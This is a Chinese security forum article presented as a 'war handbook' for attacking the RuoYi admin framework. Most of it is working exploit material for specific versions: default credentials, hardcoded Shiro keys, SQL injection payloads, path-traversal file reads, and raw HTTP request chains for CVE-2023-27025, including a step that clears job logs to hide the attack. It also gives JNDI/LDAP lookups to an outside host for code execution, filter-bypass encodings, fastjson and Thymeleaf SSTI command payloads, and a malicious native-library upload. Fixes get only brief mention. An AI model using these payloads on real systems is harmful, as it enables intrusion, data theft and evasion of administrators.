问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
若依(RuoYi)框架漏洞战争手册
渗透测试
当你在用若依时,黑客已经在用Shiro默认密钥弹你的Shell;当你还在纠结分页查询,攻击者已通过SQL注入接管数据库;而你以为安全的定时任务,不过是他们拿捏服务器的玩具。这份手册,带你用渗透的视角,解剖若依的每一处致命弱点——因为真正的安全,始于知晓如何毁灭它。
0x00 前言 =======  简介 -- Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。 若依有很多版本,其中使用最多的是Ruoyi单应用版本(RuoYi),Ruoyi前后端分离版本(RuoYi-Vue),Ruoyi微服务版本(RuoYi-Cloud),Ruoyi移动版本(RuoYi-App)。  **配合ruoyi的服务:** --------------- ```php alibaba druid alibaba nacos spring redis mysql minio fastjson shiro swagger-ui.html mybatis ``` 搜索语法 ---- FOFA: ```php (icon_hash="-1231872293" || icon_hash="706913071") ``` Hunter: ```php web.body="若依后台管理系统" ``` 环境搭建 ---- 新建文件夹,拉起ruoyi源码 ```php git clone https://gitee.com/y_project/RuoYi ```  ```php cd RuoYi 切换版本 git tag -l 切换 git checkout v4.5.1 ```  接下来用idea搭建的 mysql正常用phpstudy搭建就行 日志存放路径需要修改  配置mysql   启动即可,默认端口80 0x01 弱口令 ======== ```php 用户:admin ruoyi druid 密码:123456 admin druid admin123 admin888 ``` 0x02 Shiro默认密钥 ============== 漏洞简介 ---- 若依默认使用shiro组件,所以可以试试shiro经典的rememberMe漏洞来getshell。 影响版本 ---- RuoYi<V-4.6.2 漏洞复现 ---- 在配置文件中,能够看到shiro的密钥是在配置文件中的  漏洞利用工具地址 <https://github.com/SummerSec/ShiroAttack2> - RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式。   | RuoYi 版本号 | 对象版本的默认AES密钥 | |---|---| | 4.6.1-4.3.1 | zSyK5Kp6PZAAjlT+eeNMlg== | | 3.4-及以下 | fCq+/xW488hMTCD+cmJ3aQ== | - RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。 0x03 SQL注入 ========== ### 注入点1 /role/list接口 (<V-4.6.2) 版本同上4.5.1 首先从源码分析一波 Mybatis配置一般用#{},类似PreparedStatement的占位符效果,可以防止SQL注入。RuoYi则是采用了${}造成了SQL注入  跳转  解释一下 ${params.dataScope} `${params.dataScope}`这段代码是MyBatis的动态SQL之一,主要用于在SQL查询中嵌入外部定义的字符串或参数。这里的`${...}`语法表示取出`params`对象中名为`dataScope`的属性值,并将其直接嵌入到SQL语句中。 `例如,在一个基于角色权限管理的系统中,不同的用户可能有权限查看不同的数据记录。管理员可能可以查看所有部门的记录,而普通用户只能查看自己部门的记录。在这种情况下,`dataScope`的值可以是一个根据用户角色动态生成的SQL片段,如`"AND dept\_id IN (SELECT dept\_id FROM user\_dept\_access WHERE user\_id = #{userId})"`,用以限定查询结果只包含特定部门的用户信息。` 可以看到,在查询的时候,user的属性params是map,在xml中,将dataScope拼接到sql语句后 进入mapper层  跳转到上级  进入role查看信息  查看功能  params   根据路径  执行代码 ```php ¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e)) ```  ### 注入点2 /role/export (<V-4.6.2) ### 注入点3 /user/list (<V-4.6.2) ### 注入点4 /user/list (<V-4.6.2) ### 注入点5 /dept/list (<V-4.6.2) ### 注入点6 /role/authUser/allocatedList (<V-4.6.2) ### 注入点7 /role/authUser/unallocatedList ### 注入点8 /dept/edit (<V-4.6.2) ```php DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));# ``` ### 注入点9 /tool/gen/createTable(V-4.7.1-V-4.7.5) 参考 <https://blog.takake.com/posts/7219/#2-3-10-%E6%80%BB%E7%BB%93> 0x04 CNVD-2021-01931任意文件下载 ========================== #### 漏洞简介 登录后台后可以读取服务器上的任意文件。 #### 影响版本: RuoYi<4.5.1 #### 漏洞复现 用4.5.0版本 直接搜索关键字,download找到具体的controller 路径 ```php /common/download/resource ``` ```php /common/download/resource?resource=/profile/../../../../etc/passwd /common/download/resource?resource=/profile/../../../../Windows/win.ini ```  0x05 CVE-2023-27025 若依任意文件下载 ============================ 漏洞简介 ---- 该漏洞是若依(RuoYi)4.7.6 版本中存在的 **权限绕过 + 任意文件下载** 组合漏洞。攻击者通过后台管理接口添加恶意定时任务,修改系统配置文件路径,绕过下载功能的白名单限制,最终实现任意文件下载。漏洞本质是 **权限控制缺失**(允许低权限用户操作敏感接口)和 **路径校验不严**(未对动态修改的配置路径进行二次校验)的综合结果。 影响版本 ---- - **若依(RuoYi)<= 4.7.6** 利用条件 ---- 1. **权限要求**: - 攻击者需获取管理员 Cookie(如 `JSESSIONID`)或存在其他权限绕过漏洞。 - 若后台接口未授权即可访问,则漏洞危害升级为“未授权任意文件下载”。 2. **系统配置**: - 目标系统启用了定时任务模块(默认开启)。 漏洞复现 ---- #### 添加任务绕过白名单(自定义下载文件路径) ```php POST /monitor/job/add HTTP/1.1 Host: 10.40.107.67 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 214 Connection: close createBy=admin&jobId=161&jobName=test111&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('/Users/apple/Desktop/Locks/javafx.txt')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark= ``` - 通过调用 `ruoYiConfig.setProfile()` 方法,将系统配置文件路径动态修改为攻击者指定的路径(如 `/Users/apple/Desktop/Locks/javafx.txt`)。 - 此操作绕过了下载功能原本的“固定目录白名单”限制,将下载路径指向自定义位置。 #### **执行定时任务(触发配置修改)** ```php POST /monitor/job/run HTTP/1.1 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 10.40.107.67 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 9 Connection: close jobId=117 ``` - 立即执行 `jobId=117` 对应的定时任务,触发 `ruoYiConfig.setProfile()` 方法调用,完成配置文件路径的修改。 - 修改后,系统将从新的配置路径(攻击者指定路径)读取文件。 #### **清理任务日志(擦除攻击痕迹)** ```php POST /monitor/jobLog/clean HTTP/1.1 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 10.40.107.67 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 0 Connection: close ``` - 删除任务执行日志,避免管理员发现恶意任务记录。 - 此步骤非漏洞必要环节,但常用于隐蔽攻击行为。 #### **触发任意文件下载** ```php GET /common/download/resource?resource=2.txt HTTP/1.1 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 10.40.107.67 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close ``` - 下载功能仅校验“配置文件中的路径”,未对动态修改后的路径进行二次白名单校验。 bypass ------ 对路径参数进行 URL 编码或 Unicode 编码,绕过 WAF 检测: ```php invokeTarget=ruoYiConfig.setProfile('%2F%65%74%63%2F%70%61%73%73%77%64') ``` 修复 -- 1. **官方补丁**: - 升级若依至 **4.7.6 以上版本**,官方已修复权限校验和路径白名单问题。 2. **代码级修复**: - **权限校验**:对 `/monitor/job/add` 等后台接口添加严格的角色权限控制。 - **方法黑名单**:禁止 `invokeTarget` 参数调用敏感类方法(如 `ruoYiConfig.setProfile`)。 3. - **路径二次校验**:在下载功能中强制校验文件路径是否在合法白名单内。 4. **临时缓解**: - 禁用后台任务调度功能,或限制 `monitor` 模块的访问权限。 - 部署 WAF 拦截包含 `ruoYiConfig.setProfile` 特征的请求。 0x06 定时任务RCE ============ 由于若依后台计划任务处,对于传入的“调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。 0x01 简介 ------- RuoYi 是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。 0x02 漏洞概述 --------- 若依最新后台定时任务SQL注入可导致RCE漏洞 0x03 影响版本 --------- v4.7.8 0x04 环境搭建 --------- - RuoYi 官网地址:[http://ruoyi.vip(opens new window)](http://ruoyi.vip/) - RuoYi 在线文档:[http://doc.ruoyi.vip(opens new window)](http://doc.ruoyi.vip/) - RuoYi 源码下载:[https://gitee.com/y\_project/RuoYi(opens new window)](https://gitee.com/y_project/RuoYi) 使用phpstudy启动mysql  创建数据库`ry` 导入sql到ry数据库中    将ruoyi-admin下的application-druid.yml文件配置数据库账号密码  启动成功  若依漏洞复现环境搭建成功 ```php admin admin123 ```  0x05 漏洞复现 --------- 系统监控下定时任务中存在SQL注入漏洞  在补丁中,使用了黑名单和白名单的策略。  SQL注入漏洞点  开始复现 RCE payload JNDI ```php javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialJackson') ``` payload中可以执行反弹shell、漏洞探测、命令执行功能 DNSLOG ```php javax.naming.InitialContext.lookup('ldap://dnslog') ``` 目标字符串不允许'ldap(s)'调用且不能存在括号,因此我们使用SQL注入加十六进制编码来进行绕过修改 <https://www.bejson.com/convert/ox2str/>  ```php 6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729 ``` 第一步:运行此命令 成功地绕过了它,并成功地执行 ```php genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1ue' WHERE job_id = 1;') ``` | | | | | | |---|---|---|---|---| | 分钟 | 小时 | 日 | 月 | 星期 | ```php * * * * * ? ```  第二步: 修改执行命令 ```php genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1ue' WHERE job_id = 1;') ```  第三步: ```php genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729 WHERE job_id = 1;') ``` 创建任务  执行一次  执行被修改的任务之前需要开启JNDI 需要下载cckuailong师傅的JNDI-Injection-Exploit-Plus项目(<https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.3>)。 jdk版本要求1.8 ```php java -jar '.\JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar' -C calc -A 127.0.0.1 ```  执行被修改的1任务 JNDI ```php javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialJackson') ``` payload中可以执行反弹shell、漏洞探测、命令执行功能 DNSLOG ```php javax.naming.InitialContext.lookup('ldap://dnslog') ``` 目标字符串不允许'ldap(s)'调用且不能存在括号,因此我们使用SQL注入加十六进制编码来进行绕过修改 <https://www.bejson.com/convert/ox2str/>  ```php 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7263793870732e646e736c6f672e636e2729 ``` ```php genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729 WHERE job_id = 1;') ```  我们再来试试dnslog ```php javax.naming.InitialContext.lookup('ldap://rcy8ps.dnslog.cn') ```    工具使用: <https://github.com/charonlight/RuoYiExploitGUI>    0x06 修复方式 --------- 1、升级版本。 0x07 bypass ----------- ### 版本4.6.2<=Ruoyi<4.7.2 这个版本采用了黑名单限制调用字符串 - 定时任务屏蔽ldap远程调用 - 定时任务屏蔽http(s)远程调用 - 定时任务屏蔽rmi远程调用 **Bypass**咱们只需要在屏蔽的协议加上单引号,接着采用之前的方式例如: ```php org.yaml.snakeyaml.Yaml.load(’!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“**h’t’t’p’:**//127.0.0.1:88/yaml-payload.jar”]]]]’) ``` 0x07 fastjson反序列化 ================= 关注两个函数 parse 和 parseObject JSONObject.parse    开启 autotype ```php params[@type]=org.apache.shiro.jndi.JndiObjectFactory¶ms[resourceName]=ldap://192.168.12.76:1389/09rlhv ``` ruoyi4.2.0 ---------- 初看这个数据包一堆参数,有点复杂,根据之前的分析梳理一下,需要的参数是 `tplCategory`为`tree`,才能走到`fastjson漏洞点`,认真梳理一下需要的参数,发现还需要`treeCode&treeParentCode`参数,这块代码中全局搜索提示的缺少的内容的中文名称即可发现参数名称,填写上即可。 最终简化后的数据包如下 ```php POST /tool/gen/edit HTTP/1.1 Host: 172.16.0.66 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Referer: http://172.16.0.66/tool/gen/edit/6 Cookie: JSESSIONID=c229803b-e147-4853-ae79-df7e04dcd338 X-Requested-With: XMLHttpRequest Accept: application/json, text/javascript, */*; q=0.01 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://172.16.0.66 Accept-Language: zh-CN,zh;q=0.9 Content-Length: 3610 tableName=111111&tableComment=111111&className=111111&functionAuthor=111111&&columns[0].javaType=Long&columns[0].javaField=infoId&&tplCategory=tree&treeCode=111111&treeParentCode=111111&packageName=111111&moduleName=111111&businessName=111111&functionName=111111¶ms[treeCode]=111111¶ms[treeParentCode]=1¶ms[treeName]={"@type":"java.net.Inet4Address","val":"11.hb4r0s.dnslog.cn"} ``` 0x08 SSTI模版注入漏洞 =============== #### 漏洞版本 在4.7.1版本CacheController类中 !\[\[../S24-25赛季-大黑客之路/红队知识学习/assets/Y10 若依ruoyi/file-20250416135654610.png\]\] #### 漏洞复现 模板注入漏洞payload: return内容可控: ```php ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}::.x ``` URL路径可控: ```php ${T(java.lang.Runtime).getRuntime().exec("touch test")}::.x ``` 测试上述payload发现返回包返回500,具体情况是`Thymeleaf3.0.12`版本对这个版本进行了一些先知,防止模板注入漏洞,`https://github.com/thymeleaf/thymeleaf/issues/809` 以下为防护的情况: 我们将Payload改造一下,如`${T (java.lang.Runtime).getRuntime().exec("calc.exe")}`。在T和(之间多加几个空格即可,放入数据包中进行测试发现成功弹出计算器。 这里为了方便演示,`payload`直接贴出来了,大家测试的时候记得进行`URL`编码。 ```php POST /monitor/cache/getNames HTTP/1.1 fragment=__${T%20(java.lang.Runtime).getRuntime().exec('open -a calculator')}__::.x ``` ```php cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)} ``` #### 接口/monitor/cache/getKeys #### 接口/monitor/cache/getValue #### 接口/demo/form/localrefresh/task 0x09 若依4.8.0版本计划任务RCE ===================== ### 环境搭建 <https://github.com/yangzongzhuan/RuoYi/releases> 导入数据库,修改application-druid中的数据库账号密码 修改application中的文件路径及log存放路径   启动成功  漏洞分析 ---- 最新版本4.8 Ruoyi 后台⽬前限制 - **规则**:`invokeTarget` 必须包含 `com.ruoyi.quartz.task` 字符串。 - - **绕过思路**: - **子字符串匹配漏洞**:白名单检查使用 `StringUtils.containsAnyIgnoreCase`,只要 `invokeTarget` 中**任意位置**包含白名单字符串即可,无需完全匹配包名。 - **构造畸形类名**:例如 `xxx.com.ruoyi.quartz.task.yyy.EvilClass`,虽然实际包名不在白名单内,但字符串包含 `com.ruoyi.quartz.task`,可绕过白名单。 ```php /** * 定时任务白名单配置(仅允许访问的包名,如其他需要可以自行添加) */ public static final String[] JOB_WHITELIST_STR = { "com.ruoyi.quartz.task" }; /** * 定时任务违规的字符 */ public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config", "com.ruoyi.generator" }; } ```  JOB\_WHITELIST\_STR 这个也就是com.ruoyi.quartz.task 其实不⽤类名 包含在⾃符串⾥⾯就⾏ 这⾥是invokeTarget⽽不是beanPackageName - **规则**:禁止使用 `java.net.URL`、`org.springframework` 等敏感包下的类。 - - **绕过思路**: - **寻找非黑名单类**:利用若依自身依赖或第三方库中未被黑名单覆盖的类。例如: - **工具类**:若依的 `com.ruoyi.common.utils` 下的某些工具类(需确认是否在 `JOB_ERROR_STR` 禁止的子包中)。  **白名单检查(`whiteList` 方法)** ```php public static boolean whiteList(String invokeTarget) { String packageName = StringUtils.substringBefore(invokeTarget, "("); int count = StringUtils.countMatches(packageName, "."); if (count > 1) { return StringUtils.containsAnyIgnoreCase(invokeTarget, Constants.JOB_WHITELIST_STR); } Object obj = SpringUtils.getBean(StringUtils.split(invokeTarget, ".")[0]); String beanPackageName = obj.getClass().getPackage().getName(); return StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_WHITELIST_STR) && !StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_ERROR_STR); } } ``` - **漏洞点**:当 `invokeTarget` 的包层级超过1层时(如 `a.b.c.method`),仅检查是否包含白名单字符串,而非完整包路径。 然后不⽤JOB\_ERROR\_STR 这个类⾥⾯的 从mvn install 后 从其他包下⾯去寻找可利⽤的类下的⽅法就⾏ 需要满⾜以下条件 **方法参数解析(`getMethodParams`)**  ```php public static List<Object[]> getMethodParams(String invokeTarget) { String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")"); if (StringUtils.isEmpty(methodStr)) { return null; } String[] methodParams = methodStr.split(",(?=([^\"']*[\"'][^\"']*[\"'])*[^\"']*$)"); List<Object[]> classs = new LinkedList<>(); for (int i = 0; i < methodParams.length; i++) { String str = StringUtils.trimToEmpty(methodParams[i]); // String字符串类型,以'或"开头 if (StringUtils.startsWithAny(str, "'", "\"")) { classs.add(new Object[] { StringUtils.substring(str, 1, str.length() - 1), String.class }); } // boolean布尔类型,等于true或者false else if ("true".equalsIgnoreCase(str) || "false".equalsIgnoreCase(str)) { classs.add(new Object[] { Boolean.valueOf(str), Boolean.class }); } // long长整形,以L结尾 else if (StringUtils.endsWith(str, "L")) { classs.add(new Object[] { Long.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Long.class }); } // double浮点类型,以D结尾 else if (StringUtils.endsWith(str, "D")) { classs.add(new Object[] { Double.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Double.class }); } // 其他类型归类为整形 else { classs.add(new Object[] { Integer.valueOf(str), Integer.class }); } } return classs; } ``` - **限制**:参数类型被强制约束为基本类型,无法传递复杂对象。  ```php /** * 执行方法 * * @param sysJob 系统任务 */ public static void invokeMethod(SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance(); invokeMethod(bean, methodName, methodParams); } } ``` 传递的参数只能是其中的这些类型 通过 , 进⾏分割。substringBetween获取的是() ⾥⾯ 不能继续包含 )了会截断  ```php public static String substringBetween(final String str, final String open, final String close) { if (!ObjectUtils.allNotNull(str, open, close)) { return null; } final int start = str.indexOf(open); if (start != INDEX_NOT_FOUND) { final int end = str.indexOf(close, start + open.length()); if (end != INDEX_NOT_FOUND) { return str.substring(start + open.length(), end); } } return null; } ``` 那我们可以直接去找String 可控到sink 的类就可以了。 这⾥反射的时候还需要注意 需要满⾜ 存在⼀个参构造 且都是public的  ```php Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance(); ``` #### 计划任务分析  根据提交数据包锁定后端路由   调试看一下具体做了什么 前几个都是在判断是否有包含rmi ldap http关键词,禁止对这些协议进行调用  还判断了是否有一些黑名单中的类  进入白名单的判断  提取出调用的类名,判断其中是否包含白名单字符串  白名单字符串为com.ruoyi.quartz.task  注意这里是用正则去匹配的,所以该字符串在任意位置都可以,所以存在可以绕过的可能  后续就会进入正常的j保存计划任务流程  当启动任务时,会调用方法  获取需要调用的类名方法名参数值  在获取方法参数时进行了处理,只允许为字符串/布尔/长整/浮点/整形,无法传递类对象  接着会实例化该类,反射调用其方法  该方法为public修饰  我们想要利用需要达成的是 - 使用的类不在黑名单中 - 要存在com.ruoyi.quartz.task字符串 - 不可以使用rmi ldap http协议 #### 文件上传 而在ruoyi中存在一个文件上传点  我们可以随便上传一个文件看看   那么我们可以上传一个名字包含com.ruoyi.quartz.task字符串的文件  漏洞复现 ---- 在java中存在一种机制叫做JNI,可以通过加载外部链接库,从而执行其中的<font style="color:rgba(0, 0, 0, 0.85);">构造函数</font> 而com.sun.glass.utils.NativeLibLoader的loadLibrary方法就可以去加载链接库,也是public修饰  ```php POST /common/upload HTTP/1.1 Host: 10.40.107.67 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=b414f17a-7363-47d9-b164-3d0532a09b1c x-forwarded-for: 127.0.0.1 Connection: close Content-Type: multipart/form-data; boundary=00content0boundary00 Content-Length: 167 --00content0boundary00 Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt" Content-Type: image/jpg success --00content0boundary00-- ```   ```php cat calc.c #include <stdlib.h> __attribute__((constructor)) static void run() { system("open -a Calculator"); } ``` ```php POST /common/upload HTTP/1.1 Host: 10.40.107.67 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=b414f17a-7363-47d9-b164-3d0532a09b1c x-forwarded-for: 127.0.0.1 Connection: close Content-Type: multipart/form-data; boundary=00content0boundary00 Content-Length: 167 --00content0boundary00 Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt" Content-Type: image/jpg 二进制恶意代码 --00content0boundary00-- ```  注意他会自动在后面添加dylib等后缀,在不同的系统中可能有不同的后缀,并且要注意架构问题
发表于 2025-05-07 09:00:00
阅读 ( 1907 )
分类:
漏洞分析
2 推荐
收藏
0 条评论
请先
登录
后评论
Locks_
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!